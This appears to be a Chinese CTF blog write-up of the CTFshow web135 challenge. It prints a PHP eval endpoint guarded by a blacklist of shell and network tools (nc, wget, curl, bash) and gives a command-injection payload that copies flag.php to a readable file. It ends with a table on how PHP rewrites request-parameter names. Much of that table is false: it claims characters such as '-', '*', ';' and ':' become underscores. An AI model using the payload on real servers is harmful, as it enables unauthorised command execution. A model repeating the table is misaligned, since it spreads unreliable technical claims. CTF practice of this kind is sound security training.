作者:[局外人]

分类:[技术分析]

标签CTF SHOW 刷题 新手

阅读时长:约 [2] 分钟

引言(前言)

日常CTF 做题记录,日常做题分享,希望能积累更多的知识!!!

CTFSHOW web135

1.1 题目及分析
highlight_file(__FILE__);
//flag.php
if($F = @$_GET['F']){if(!preg_match('/system|nc|wget|exec|passthru|bash|sh|netcat|curl|cat|grep|tac|more|od|sort|tail|less|base64|rev|cut|od|strings|tailf|head/i', $F)){eval(substr($F,0,6));}else{die("师傅们居然**了前面的,那就来一个加强版吧");}
}
  • 题目分析
  • 此题主要是考察一个变量覆盖
1.2 思路
  • 与之前web133可以用差不多的解法,在curl中插入两个连续的'即可
  • 但是我没有成功
  • 后续看到其他解法,可以直接cp复制出来访问,这就很行 -playload: ?F=\$F\+;cp+flag.php+1.txt
  • 但是作为新手玩家,容易疑惑的是为什么这里有+,其实正常不用加号直接用空格式完全可以的,但是为什么+也可以。这是因为+在url中会被解析为空格
  • 可以利用burpsuite或者自己编写php代码验证,可以很清晰的看到+被URL encoding解析成了空格
1.3 结果

大家多多尝试一下有没有更好的方法吧!

字符替换

在 PHP 中,当通过 GET/POST 接收请求参数时,参数名(key)中的特殊字符会被转换为合法的变量名格式。具体转换规则如下:

特殊字符

转换结果

说明

点号(.)

下划线(_)

例如 user.name 会被解析为 $_GET['user_name']

空格( )

下划线(_)

例如 user name 会被解析为 $_GET['user_name']

减号(-)

下划线(_)

例如 user-name 会被解析为 $_GET['user_name']

加号(+)

下划线(_)

注:URL 中 + 通常解码为空格,再转换为下划线(如 user+nameuser_name

星号(*)

下划线(_)

例如 user*name 会被解析为 $_GET['user_name']

感叹号(!)

下划线(_)

例如 user!name 会被解析为 $_GET['user_name']

逗号(,)

下划线(_)

例如 user,name 会被解析为 $_GET['user_name']

分号(;)

下划线(_)

例如 user;name 会被解析为 $_GET['user_name']

冒号(:)

下划线(_)

例如 user:name 会被解析为 $_GET['user_name']

中括号([ ])

保持不变

用于标识数组,例如 user[0] 会被解析为 $_GET['user'][0]

关键说明:

  1. PHP 变量名规则要求只能包含字母、数字和下划线(且不能以数字开头),因此所有非字母、数字、下划线的字符都会被转换为下划线。
  2. 中括号([ ])是唯一例外,它们用于解析数组参数(如 arr[key]=val 会被解析为关联数组),因此保持原样。
  3. 连续的特殊字符会被逐个转换,例如 user..name 会被解析为 user__name

互动环节

  • 各位大佬们是否有更优的实现方式?欢迎分享代码
  • 评论区聊聊吧~